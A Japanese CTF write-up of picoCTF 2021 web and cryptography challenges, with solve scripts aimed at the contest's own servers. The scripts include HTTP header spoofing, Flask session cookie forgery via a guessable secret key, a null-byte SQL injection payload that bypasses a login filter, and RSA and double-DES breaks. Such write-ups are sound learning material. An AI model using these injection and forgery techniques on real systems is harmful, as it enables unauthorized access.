picoCTF 2021 Write Up

2021年3月に開催されたpicoCTFに参加しました！
CTF初心者でしたが、全体で162位とそこそこの好成績を収めることができました。
慣れないですが、解けた問題についてWrite Upを書いてみようと思います。
工事中のところはそのうち追記します。

また、実際に使ったコードは[GitHub](https://github.com/FullteaOfEEIC/picoCTF2021)に置いてあります。CTFの解答なので、可読性は皆無です。気になるところがあったら気軽に訪ねていただければと思います。

# Web Exploition
## Ancient History (10pts)
アクセスすると、Hello World!とだけ書かれたウェブサイトが表示されます。
問題文に、"I don't remember visiting all of these sites..."(こんなウェブサイトを見た覚えは無いんだけど...)と書かれているので、おそらく履歴に何かが残っているのでしょう。
Hintsには"What kind of information can JavaScript modify?"(JavaScriptでイジれる情報には何があっただろうか)と書かれているので、```history```から1つ前に訪れたウェブサイトの情報を表示してみます。

```console.js
>hisotry.back()
<undefined
>history.state
<{urlpath: "/index.html?}"}
```

直前の履歴にはgetパラメーターで```}```の文字が残されていました。これはおそらくflagの最後の文字なので、履歴をどんどん辿っていけばflagがきっと完成するのでしょう。
適当にコードを書いて、flagを表示します。

```console.js
 function solve(){
 	history.back();
 	console.log(history.state);
 	setTimeout(solve,1000);
 }

solve()
```

getパラメーターをつなげればflagが完成します。

## GET aHEAD (20pts)
アクセスすると、真っ赤なウェブサイトが表示されます。
![getAhead-red.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/60640b14-50df-ae04-8397-d27f6425e9b2.png)
Choose Blueを押すと、青に変わります。
![getAhead-blue.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/043704e8-8027-cde4-90c6-b9e01e50f78b.png)

Google Chromeの開発者ツールでアクセスを確認すると、どうやらGETでウェブサイトにアクセスすると背景が赤くなり、POSTでアクセスすると背景が青くなるようです。
問題のタイトルがGET aHEADなので、HEADでアクセスすればなにかがおこりそうです。

```solve.py
import requests

url = "http://mercury.picoctf.net:53554/index.php?"
page = requests.head(url)
print(page.headers)
```

とすればflagが入手できました。

## Cookies (40pts)
問題のタイトルがCookiesなので、きっとcookieに関係があるのでしょう。
なお、cookieの値が関係する設問はこの他にもいくつかあるのですが、問題ページのドメインが共通なせいで他の問題でセットされたcookieがそのまま引き継がれてしまいます。別に悪さをするわけではないと思うので放っておけばいいのですが、混乱の原因になるので問題に取り掛かる前に一度削除したほうがいいかもしれません。

入力欄のplace holderに```snickerdoodle```と入力されているので、とりあえずそれをそのまま入力して送信します。snickerdoodleとはシナモンシュガーのクッキーだそうです。
すると、```I love snickerdoodle cookies!```というページが表示されました。また、このとき```{"name":0}```というcookieがセットされています。

次に、```abc```などのクッキーの名前ではない値を送信してみます。すると、```That doesn't apeear to be a valid cookie.```というメッセージが表示されました。また、```{"name":-1}```というcookieがセットされました。

snickerdoodleの他にも反映されるクッキーが無いだろうかと、[Wikipediaのクッキーの一覧](https://en.wikipedia.org/wiki/Category:Cookies)を元にクッキーの名前をひたすら入力していくと、```butter```を送信したときに```I love butter cookies!```というページが表示されました。また、このとき```{"name":11}```というcookieがセットされます。

おそらく、cookieのnameの値によって、なんのクッキーが入力されたかを識別しているのでしょう。この値を変化させて送信すれば、flagが表示されるのではないでしょうか。0から順に試してみます。

```solve.py
import requests
from tqdm.auto import tqdm

for i in tqdm(range(30)):
    with requests.Session() as s:
        jar = requests.cookies.RequestsCookieJar()
        jar.set('name', str(i), domain='mercury.picoctf.net', path='/')
        s.cookies.update(jar)
        page = s.get("http://mercury.picoctf.net:6418")
        if "picoCTF{" in page.text:
            print(page.text)
            break
```
name=18のとき、flagが表示されます。

## Scavenger Hunt (50pts)
指定されたURLにアクセスすると、HTMLとCSSとJSで作成されたウェブページが表示されます。
HTMLのソースを見ると、```<!-- Here's the first part of the flag: picoCTF{t -->```というコメントが見つかるので、おそらくflagの残りもどこかに隠れているのでしょう。

まずCSSを見ると、```/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */```というコメントアウトが見つかります。また、jsには```/* How can I keep Google from indexing my website? */```というコメントが残されています。

「ウェブサイトをGoogle検索にのせるためにやることは?」と聞かれているので、```http://mercury.picoctf.net:27278/robots.txt```を確認します。すると、
```# Part 3: t_0f_pl4c```
```# I think this is an apache server... can you Access the next flag?```
という内容が見つかりました。

(ウェブサイトの挙動からしてApacheで動いている感じがあまりしないのですが)次はapacheに特有のファイルにアクセスすればよさそうですので、```http://mercury.picoctf.net:27278/.htaccess```にアクセスします。
```# Part 4: 3s_2_lO0k```
```# I love making websites on my Mac, I can Store a lot of information there.```
という内容が表示されました。

Macに特有のファイルといえば...```.DS_Store```でしょうか。```http://mercury.picoctf.net:27278/.DS_Store```にアクセスしてみます。すると、
```Congrats! You completed the scavenger hunt. Part 5: _a69684fd}```と表示されました。これでflagが完成です。

##Some Assembly Required 1 (70pts)
Chromeの開発者ツールでソースを確認したところ、wasmの```00e3dada```というファイルにflagが記載されていました。
![someassemble1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/479a538c-e113-248d-aae0-b139ad23a657.png)


## It is my Birthday (100pts)
md5 hashの値が同じになる2つのpdfをsubmitせよと言われています。
Hintsには"Look at the category of this problem"(この問題のカテゴリはなんだっけ?)、"How may a PHP site check the rules in the description"(PHPでmd5を計算するときには普通どうする?)などと書かれていますので、__Hintsは全部無視してmd5が衝突するpdfを実際に用意します。__

https://github.com/corkami/pocs/tree/3832f62d8aad64d541c5d1fee755f30c44535374/collisions
を参考にして、md5が衝突するpdfを作成してsubmitしました。ファイルサイズが大きいと弾かれるので注意が必要です。

試していませんが、おそらく想定解法は
https://www.programmersought.com/article/2633234394/
で解説されているような方法だったのだろうなぁ...。

## Who are you? (100pts)
与えられたURLにアクセスします。
![letmein.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/10993f2a-e68a-f661-79ad-fb315354737b.png)
Only people who use the official PicoBrowser are allowed on this site! (PicoBrowserを使っている人しかこのサイトにはアクセスできません！)と言われてしまいました。
そこで、http headerに```User-Agent: picobrowser```を付与して再度アクセスします。ちなみに、pythonのrequestsで任意のヘッダーでhttpアクセスをするためには、

```letmein.py
import requests

url = "http://mercury.picoctf.net:39114/"
headers = {
    "User-Agent":"picobrowser"
}
page = requests.get(url, headers=headers)
```
などとすればいいです。

User-Agentを指定したところ、 I don't trust users visiting from another site. (他のサイトから来た人は信用できません) と表示が変わりました。この調子でheaderを弄っていけばよさそうです。
HeaderのField一覧はhttps://en.wikipedia.org/wiki/List_of_HTTP_header_fields を参考にしました。

さて、http headerにはRefererという項目があり、これはどのウェブサイトからアクセスしてきたのかを示す値です。他のサイトから来た人は信用できないとのことなので、この値を問題のウェブサイト自体のURLにすれば良さそうです。
あと余談ですが、僕は未だにRefererのスペルを覚えられません。

```letmein.py
headers = {
    "User-Agent":"picobrowser",
    "Referer":"http://mercury.picoctf.net:39114/"
}
page = requests.get(url, headers=headers)
```

Sorry, this site only worked in 2018. (すまない、このサイトは2018年用なんだ)に表示が変わりました。```Date:Wed, 7 Feb 2018 13:00:00 +1:00```などとして、2018年の適当な日付を指定します(+1:00を指定しているのは、次の次で苦戦した名残です。意味はありません)。

次のメッセージは I don't trust users who can be tracked. (追跡されるようなやつは信用できない)なので、```DNT:1```を追加します。これは、ウェブサイトに対しTrackingを許可するかどうかを指定するものです。
(これは単純な疑問なので知っている人がいたら教えてほしいのですが、DNTを1にしたら世間一般のウェブサイトはそれを守ってくれるのですか???)

DNTをセットすると、This website is only for people from Sweden. (このサイトはスウェーデンからしかアクセスできません)と言われます。
周囲の友人に話を聞いていると、みんなこれができずに苦戦していたようです。私の場合、ここまでは15分で解けたのに、これができるまで1週間かかりました。
正解のParameterは、X-Forwarded-Forです。これは、自分のIPアドレスを相手のサーバーに伝えるためのもので、Proxyやロードバランサーを通したアクセスであっても、それらのIPではなく自分の手元のIPが識別できるように付与するヘッダーです。スウェーデンのIPアドレスの範囲を調べて、それを指定します。ということでHeaderに```X-Forwarded-For:83.168.252.201```を追加します。
(picoCTFのHintsにはRFCへのリンクが貼ってあるのですが、X-Forwardef-Forはデファクトスタンダードらしく、RFCに載ってないんですよね。ひどいと思う)

ここを突破すると、You're in Sweden but you don't speak Swedish? (スウェーデンにいるのになんでスウェーデン語を喋っていないんだい?)と表示されるので、```Accept-Language:se-sv```を指定します。

これでようやくflagが表示されます。いやはや、長かった。最終的なコードは以下の通りです。

```letmein.py
import requests

url = "http://mercury.picoctf.net:39114/"
headers = {
    "User-Agent":"picobrowser",
    "Referer":"http://mercury.picoctf.net:39114/",
    "Date":"Wed, 7 Feb 2018 13:00:00 +1:00",
    "DNT":"1",
    "X-Forwarded-For":"83.168.252.201",
    "Accept-Language":"se-sv"
}
page = requests.get(url, headers=headers)
print(page.text)
```

## Some Assembly Required 2 (110pts)
工事中...

## Most Cookies (150pts)
Cookiesのウェブアプリケーションが、Flaskで作り直されて帰ってきました。今回はソースコード付きです。
Flaskのcookieとしてsetされるsessionは、セッションの中身、timestamp、署名を連結したものになっており、セッションの中身は誰でも確認することが可能です。また、署名はsecret_keyを用いて行われており、これが漏洩した場合にはsession内容の改ざんも可能です。
こちらの記事が詳しく解説しています。
https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f

配布されている```server.py```を確認すると、

```server.py
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
```
という記述があるので、secret_keyの値が28通りに絞れてしまいました。全てのsecret_keyを試した上で、sessionをadminに改ざんします。上記の記事がpoc付きで大変ありがたいです。

```solve.py
import requests
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

# https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f

url = "http://mercury.picoctf.net:52134"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )


class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

with requests.Session() as s:
    page = s.get(url)
    cookie = s.cookies

for cookie_name in cookie_names:
    try:
        print(FlaskSessionCookieManager.decode(cookie_name, cookie.values()[0]))
        break
    except:
        pass

session = {'very_auth': 'admin'}
new_cookie = FlaskSessionCookieManager.encode(cookie_name, session)

with requests.Session() as s:
    s.cookies.update({"session":new_cookie})
    page = s.get(url)
print(page.text)
```

## Web Gauntlet 2 (170pts)
ログイン画面が表示されるので、ここにadminとしてログインする問題です。
Filterというものが設定されており、```or and true false union like = > < ; -- /* */ admin```のいずれかが含まれる値を入力すると弾かれます。adminでログインするのにadminを入れると弾かれるってどういうこっちゃ。さらに、入力できる文字数に制限があり、UsernameとPasswordの文字数の合計が35文字を超えてもいけません。
Hintsによれば、DBはsqliteです。

Usernameをabc、Passwordをdefなどの適当な値にしてSIGN INを試みると、not adminというエラーメッセージと共に、背景にうっすらと```SELECT username, password FROM users WHERE username='abc' AND password='def'```というSQL文が表示されました。
どうやらここに対してSQL Injectionを仕掛ける必要があるようです。
![webgauntlet.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/76a47a49-b7f8-814c-57e1-768c915c5976.png)

```admin``` が弾かれるのは、```ad'||'min```などとして文字列結合で乗り切れば良さそうです。ただ、```;```も```--```も```/*```も使えない状況では後続のSQLを飛ばすことは困難だし、```or```も```=```も```<```も```>```も封じられていては条件全体をTrueにするのも難しそうということで、しばらく途方に暮れていました。

そういえば、そもそもなんでWeb Gauntlet "2"なんだろうと思い、Web Gauntletでググったところ、どうやら以前のpicoCTFで類題が出題されていたらしく、Write upがいくつか検索に引っかかりました。
その中で、下記のWrite upが```;```や```--```の他にNULL文字でもSQL文の読み込みが停止するという技を利用していたので、同様のテクニックを試したところ、flagが入手できました。
https://tech.kusuwada.com/entry/2020/11/01/060859

```solve.sh
curl 'http://mercury.picoctf.net:26215/index.php' -H 'PHPSESSID=<<<ここにPHPSESSIDを入力>>>'   --data-raw 'user=ad%27||%27min%27%00&pass=pass'   --compressed   --insecure --output sql.txt;
```

組み立てられたSQL文は

```WebGauntlet2.sql
SELECT username, password FROM users WHERE username='ad'||'min' %00' AND password='pass'
```
です。```%00```以降は読み込まれません。

adminでのloginに成功すると"Congrats! You won! Check out filter.php"(おめでとう！filter.phpを確認してね！)と言われます。loginに成功したかどうかの判定はPHPSESSIDを用いて行われているので、
ブラウザでログイン画面にアクセス -> PHPSESSIDを控える -> 上記のcurlを実行 -> ブラウザでfilter.phpにアクセス
などという手順を踏むといいと思います。
多分非想定解。
## Web Gauntlet 3 (300pts)
条件はWeb gauntlet 2と同じなのですが、文字数制限が35文字から25文字になってしまいました！！！

...上述のWeb Gauntlet 2の解答は25文字より短いので、同じ解答がそのまま使えます。以上。

# Cryptography
RSA暗号が何度も出題されているので、簡単な計算式を先におさらいしておきます。なぜこれが成立しているのかを知りたい人は適宜調べてください。

1. 2つの素数$P$と$Q$を用意します。
2. $n=P*Q$として$ｎ$を求めます。
3. $\phi(n)=(P-1)*(Q-1)$と互いに素な数$e$を用意します。$e=65537$を使用することが多いです。
4. $d*e \equiv 1 (mod\ \phi(n))$を満たす$d$を計算します。
5. $(n, e)$を公開鍵として公開します。また、$d$を秘密鍵として保存します。$P,Q,\phi(n)$は以後使用しないので、安全に破棄します。

こうして公開鍵と秘密鍵が作成されます。
平文$m$から暗号文$c$を計算するためには、$c \equiv m^e(mod\ n)$を計算します。また、複号の際には$m \equiv c^d(mod\ n)$として暗号文から平文を求めます。

平文は数字なので、今回のctfでは

```rsa.py
import binascii
print(binascii.a2b_hex(hex(m)[2:]))
```
とするとflag形式に変換されます(これができずに2時間悩んだのは内緒)。

RSAの脆弱な実装については、https://www.slideshare.net/sonickun/rsa-n-ssmjp 等を参考にしました

## Mod 26 (10pts)
Caesar暗号です。手で解いてもいいですし、プログラムを書いても一瞬です。
問題文によると, ROT13とのことなので、https://rot13.com/ で計算しました。

## Mind your Ps and Qs (20pts)
RSA暗号を解読する問題です。与えられた$n$の値が比較的小さいので、素因数分解で$P$と$Q$を直接導出します。下記のサイトを参考に、msieveを利用しました。
http://inaz2.hatenablog.com/entry/2016/01/09/032521
$P$と$Q$を元に、秘密鍵$d$を計算し、$m \equiv c^d(mod\ n)$で暗号文を複合します。
最近のPythonは、```pow(a,-1,n)```で$mod\ n$における$a$の逆元を計算してくれるので楽です。

```decrypt.py
import binascii

c=8533139361076999596208540806559574687666062896040360148742851107661304651861689
n=769457290801263793712740792519696786147248001937382943813345728685422050738403253
e=65537
p=1617549722683965197900599011412144490161
q=475693130177488446807040098678772442581573
assert p*q==n

def lcm(p,q):
    return (p*q)//gcd(p,q)
def gcd(p,q):
    if min(p,q)==0:
        return max(p,q)
    return gcd(min(p,q),max(p,q)%min(p,q))

d = pow(e,-1,lcm(p-1,q-1))

message = pow(c,d,n)
assert pow(message,e,n)==c
print(binascii.a2b_hex(hex(message)[2:]))
```

## Easy Peasy (40pts)
平文とkeyのxorを取ることで暗号文を出力します。
one-time padと名乗っていますが、鍵は実際には50000文字しかなく、それを使い切るとまた最初に戻ってきます。
flagの暗号化のために32文字分のkeyを使ったので、あと49968文字を暗号化させれば、keyが最初に戻ってきます。ここに暗号文を投げれば、同じkeyで2回xorを計算したことになるので、平文に戻ります。

...ここまでが解法の理屈なのですが、実装が妙に手こずりました。
暗号文の13文字目に相当するバイトが```0a```であり、これはasciiコードとしては改行を表します。したがって、これを入力した瞬間に、送信とみなされてそこまでを暗号化した結果しか返してくれませんでした。これに気がつくまで1日かかりました。
仕方ないので、この部分を手動で```0a```から```0b```に修正し、出力された平文の13文字目を手動で1バイト引くことで元の平文を取得しました。

```decrypt.py
from pwn import *
from tqdm.auto import tqdm
import binascii
import string
KEY_LEN = 50000

#encrypted= "551257106e1a52095f654f510a6b4954026c1e0304394100043a1c5654505b6b"
encrypted = "551257106e1a52095f654f510b6b4954026c1e0304394100043a1c5654505b6b"


def get_message(slide, encrypted):
    io = remote("mercury.picoctf.net", 36449)
    for i in range(4):
        io.recvline()
    io.sendline("1"*(50000-slide))
    io.recvline()
    io.recvline()

    io.sendline(deconvert(encrypted))
    io.recvline()
    io.recvline()
    message = io.recvline().strip()
    return message


def convert(message):
    key = (chr(0)*len(message)).encode()
    result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), message, key))
    return "".join(result)

def deconvert(message):
    dec = b""
    for i in range(0,len(message),2):
        dec+=chr(int(message[i:i+2],16)).encode()
    return dec

print(deconvert(encrypted))

message = get_message(32, encrypted)
message_dec = deconvert(message)
print(message_dec)
```
実行すると```75302b38697a9717f0faee9c0fd36a57```が得られるので、13文字目を1文字前にずらした```75302b38697a8717f0faee9c0fd36a57```をpicoCTF{}で囲ったものがflagです。

## New Ceaser (60pts)
Mod 26と同じくCeaser暗号です。ただし、a-zの26文字を使うのではなくa-pの16文字だけを使ってshiftするようです。
26文字の時と何かが変わるわけではないので、16文字の鍵を総当りして、平文を導き出します。

```decrypt.py
import string

LOWERCASE_OFFSET = ord("a")
ALPHABET = string.ascii_lowercase[:16]

encrypted = "mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj"


def b16_encode(plain):
    enc = ""
    for c in plain:
        binary = "{0:08b}".format(ord(c))
        enc += ALPHABET[int(binary[:4], 2)]
        enc += ALPHABET[int(binary[4:], 2)]
    return enc


def shift(c, k):
    t1 = ord(c) - LOWERCASE_OFFSET
    t2 = ord(k) - LOWERCASE_OFFSET
    return ALPHABET[(t1 + t2) % len(ALPHABET)]


def b16_decode(enc):
    plain = ""
    for i in range(0, len(enc), 2):
        c1, c2 = enc[i], enc[i + 1]
        ind1 = ALPHABET.find(c1)
        ind2 = ALPHABET.find(c2)
        plain += chr(ind1*16+ind2)
    assert b16_encode(plain) == enc
    return plain


for key in ALPHABET:
    dec = ""
    for i, c in enumerate(encrypted):
        dec += shift(c, key[i % len(key)])
    flag = b16_decode(dec)
    print(flag)
```

## Mini RSA (70pts)
暗号文$c$と平文$m$の間には、$c \equiv m^e(mod\ n)$の関係があります。nで割ったあまりが等しいということは、$m^e=c+k*n\ (k \in \mathbb{Z})$が成立するということです。
問題文に"(M**e) is just barely larger than N"(M\*\*eはNよりちょっとだけ大きいよ)とあることから、$c$, $c+n$, $c+2n$...が立法数になる($e=3$なので、$m^3=c+k*n\ (k \in \mathbb{Z})$が成立する)ような$k$を1から順に探していけば、$m$が求まりそうです。

```decrypt.py
import binascii

N=1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287
e=3
c=1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808147276605782889813772992918898400408026067642464141885067379614918437023839625205930332182990301333585691581437573708925507991608699550931884734959475780164693178925308303420298715231388421829397209435815583140323329070684583974607064056215836529244330562254568162453025117819569708767522400676415959028292550922595255396203239357606521218664984826377129270592358124859832816717406984802489441913267065210674087743685058164539822623810831754845900660230416950321563523723959232766094292905543274107712867486590646161628402198049221567774173578088527367084843924843266361134842269034459560612360763383547251378793641304151038512392821572406034926965112582374825926358165795831789031647600129008730

def pow1_e(N,e=3):
    #this return is equal to int(N**(1/e)).
    low=0
    high=N
    while high-low>10:
        mid=(low+high)//2
        if mid**e>N:
            high=mid
        else:
            low=mid
        #print(low, high)

    for i in range(low-1,high+1):
        if (i+1)**e>N:
            return i

k=0
while True:
    m=pow1_e(k*N+c,e)
    if (m**e) % N ==c:
        break
    k+=1

print(k)
print(m)
print(binascii.a2b_hex(hex(m)[2:]))
```

$k=3533,m=1787330808968142828287809319332701517353332911736848279839502759158602467824780424488141955644417387373185756944952906538004355347478978500948630620749868180414755933760446136287315896825929319145984883756667607031853695069891380871892213007874933611243319812691520078269033745367443951846845107464675742664639073699944730122897078891901$のとき、$m^3 = c+k*n$が成立します。
$k=3533$はjust barelyなのか...?

## Dachshund Attacks (80pts)
eがとても大きいので、Weiner's Attackが適用できます。実装はhttps://github.com/pablocelayes/rsa-wiener-attack.git からお借りしました。

```crack.py
# git clone https://github.com/pablocelayes/rsa-wiener-attack.git
e=10921496970234531490981043563014634379418710656084239777676231723399425185937869957452354577823482919856915526622287763528704192790578708771006668232069200923072212672268782662657948309577821883092723485234883160971506294695617067122464119612914383700294301820334931934246920566822051473248452037729809069949
n=65537363568702055031370168963610459295803294001600986510693634180207498413991674244948066553890144963159039850199977489243065117074868251268389797843733849069006395964454444177318657849608685017601641132682720706424116980864801347386871245151941252418433564556129916152909694579884763785463469419943803537747
c=28990677900713901591248734777523875110891944023580640267779359673262654365482157662691798936583329869875320105112397728290929638709601767189326389226286747650053889164177742624378253332396819059318058575480713469693283434708003940334396212541872157070733407616771744150177068862515178723725553229040562805506

from RSAwienerHacker import hack_RSA
import binascii

d = hack_RSA(e,n)

message = pow(c,d,n)

print(binascii.a2b_hex(hex(message)[2:]))
```

## No Padding, No Problem (90pts)
サーバーに接続すると$n,e,c$が表示されます。$c$そのものを入力した時以外には、入力を復号してくれます。
すなわち、入力値$c'$に対して、$c'^d\ mod\ n$を計算してくれます。求めたいのは$c^d\ mod\ n$ですが$c$をそのまま送信すると"Try Again"と怒られるので、代わりに$c+n$を送信します。$(c+n)^d \equiv c^d \equiv m\ (mod\ n)$なので、帰ってきた結果が平文そのものです。

# Play Nice (110pts)
配布ファイルの最後にウィキペディアのリンクが記載されているので、アクセスしてみたところ、どうやらこれはPlayfair暗号という暗号のようです。
Google検索でそれらしき復号プログラムを探して実装します。実装はhttps://www.geeksforgeeks.org/playfair-cipher-with-examples/ を参考にしました。

```decrypt.py
import signal

SQUARE_SIZE = 6


def generate_square(alphabet):
    assert len(alphabet) == pow(SQUARE_SIZE, 2)
    matrix = []
    for i, letter in enumerate(alphabet):
        if i % SQUARE_SIZE == 0:
            row = []
        row.append(letter)
        if i % SQUARE_SIZE == (SQUARE_SIZE - 1):
            matrix.append(row)
    return matrix


def get_index(letter, matrix):
    for row in range(SQUARE_SIZE):
        for col in range(SQUARE_SIZE):
            if matrix[row][col] == letter:
                return (row, col)
    print("letter not found in matrix.")
    exit()


def encrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)

    if p1[0] == p2[0]:
        return matrix[p1[0]][(p1[1] + 1) % SQUARE_SIZE] + matrix[p2[0]][(p2[1] + 1) % SQUARE_SIZE]
    elif p1[1] == p2[1]:
        return matrix[(p1[0] + 1) % SQUARE_SIZE][p1[1]] + matrix[(p2[0] + 1) % SQUARE_SIZE][p2[1]]
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]


def decrypt_pair(pair, matrix):
    p1 = get_index(pair[0], matrix)
    p2 = get_index(pair[1], matrix)
    if p1[0] == p2[0]:
        return matrix[p1[0]][(p1[1] - 1) % SQUARE_SIZE] + matrix[p2[0]][(p2[1] - 1) % SQUARE_SIZE]
    elif p1[1] == p2[1]:
        return matrix[(p1[0] - 1) % SQUARE_SIZE][p1[1]] + matrix[(p2[0] - 1) % SQUARE_SIZE][p2[1]]
    else:
        return matrix[p1[0]][p2[1]] + matrix[p2[0]][p1[1]]


def encrypt_string(s, matrix):
    result = ""
    if len(s) % 2 == 0:
        plain = s
    else:
        plain = s + "v60ufmk7edg4z13h2oyqa9ib58ntwxlrscjp"[0]
    for i in range(0, len(plain), 2):
        result += encrypt_pair(plain[i:i + 2], matrix)
    return result


def decrypt_string(s, matrix):
    result = ""
    if len(s) % 2 == 0:
        plain = s
    else:
        plain = s + "v60ufmk7edg4z13h2oyqa9ib58ntwxlrscjp"[0]
    for i in range(0, len(plain), 2):
        result += decrypt_pair(plain[i:i + 2], matrix)
    return result


alphabet = "v60ufmk7edg4z13h2oyqa9ib58ntwxlrscjp"
m = generate_square(alphabet)
enc_msg = "4celvfdkoq5a0dx7pr40ifzctd8488"

print(decrypt_string(enc_msg, m))

# https://www.geeksforgeeks.org/playfair-cipher-with-examples/
```

## Double DES (120pts)
DESはアメリカ国立技術標準研究所(NBS)が採用した共通鍵暗号です。原型を作成したのはIBMですが、NBSが採用するにあたって暗号方式の一部を少し変更したため、NSAがこっそりバックドアを仕掛けたのではないかとの疑いが持たれる事となり、徹底した精査が行われました。しかし、現代に至るまで効果的な解読法は発見されていません。鍵長の短さから、総当たり(や、それよりはマシないくつかの攻撃方法)で解読可能とされていますが、アルゴリズム自体に脆弱性が知られているわけではありません。
Hintsには、"How large is the keyspace?"(鍵空間の広さはどうなっていますか?)とあり、配布されているソースコードでは

```ddes.py
def generate_key():
    return pad("".join(random.choice(string.digits) for _ in range(6)))
```
となっていることから、鍵はたかだか1000000通りです。
暗号文は、異なる鍵で2回暗号化されていますが、それでも鍵空間は高々$10^{12}$の広さしかないので、総当たりで突破します。復号が成功したかどうかは、出力された平文の候補のバイト列がUnicordとして成立しているかどうかで判断します(もちろん、出力がUnicordとして正しいからといってそれが平文だとは限りませんが、復号結果がUnicordとして正しいことはめったに発生しなさそうだったので、結果を全部picoCTFのサーバーに渡して試せば良いと考えました)。

```crack.py
from pwn import *
from tqdm import tqdm
from Crypto.Cipher import DES
from multiprocessing import Pool
import string
import binascii

def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()


def get_encrypted():
    io = remote("mercury.picoctf.net", 3620)
    io.recvline()
    encrypted = io.recvline().strip()
    return encrypted


def crack(d):
    encrypted = d[0]
    key1 = d[1]
    key1 = pad(str(key1))
    des1 = DES.new(key1, DES.MODE_ECB)
    dec_1step = des1.decrypt(encrypted)
    for key2 in range(10**6):
        key2 = pad(str(key2))
        des2 = DES.new(key2, DES.MODE_ECB)
        dec = des2.decrypt(dec_1step)
        try:
            dec = dec.decode()
            print(dec)
        except UnicodeDecodeError:
            pass

if __name__=="__main__":
    encrypted = get_encrypted()
    encrypted = binascii.unhexlify(encrypted)
    print(encrypted)
    params =[(encrypted,i) for i in range(10**6)]
    with Pool() as p:
        imap =p.imap(crack, params)
        list(tqdm(imap, total=len(params)))
```
シングルスレッドでは永久に終わらなそうだったので、並列化して計算しています。また、手元のノートPCでは時間がかかりすぎるため、32コア64スレッドのAMD Ryzen Threadripper 3970Xとメモリ128GBを搭載した超高火力マシンで計算を行いました。
それでも全探索には最大40時間かかるのですが...

さすがにこれが想定解とは思えないのですが、この問題の想定解はマジで何だったのだろう。

## Scrambled: RSA (140pts)
サーバーに接続すると$n$,$e$と共に暗号化されたflagらしきものが表示されます。RSAにおいては、暗号文$c$は$c \equiv m^e(mod\ n)$で計算されるので、$c$は$n$より小さいはずですが、表示されたflagは明らかにnより大きいです。
さらに、```"abcde"```などの適当な文字を暗号化すると、その都度違った結果が返ってきます。問題名にはRSAと書かれていますが、何かが明らかにおかしいです。

いろいろ実験を繰り返したところ、

* 1文字の平文を暗号化させると、常に同じ暗号文が返ってくること
* k文字の平文を暗号化させると、$k!$通りの暗号文が(おそらく)等確率で返ってくること
* k文字の平文を暗号化した場合の暗号文の長さは、$308*k$文字に等しいか、それより少しだけ短いこと
* ```"p"```(1文字)を暗号化した結果得られる暗号文が、flagの中に必ず含まれていること
* 暗号化のたびに暗号文は異なるが、暗号文を308文字ごとに分解すると、どの暗号文でも同じものの組み合わせになっていること
* 暗号文を308文字ごとに分解した場合、それぞれは$n$より小さくなること

などがわかりました。
ここから、「平文を1文字ずつRSAで暗号化して、得られた$c$をランダムに並べ替えてくっつけたものを暗号文としているのではないか？」ということが推測できます。```"p"```はきっと```"picoCTF{"```の頭文字ですね。
なお、```"ab"```の暗号化の結果と```"ba"```の暗号化の結果が全く異なることから、その文字が平文の何文字目にあるのかも暗号化の際に考慮されるようです。![アセット 2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/240237/1f1d6c6d-3066-56ab-b0a8-215670cc0af3.png)


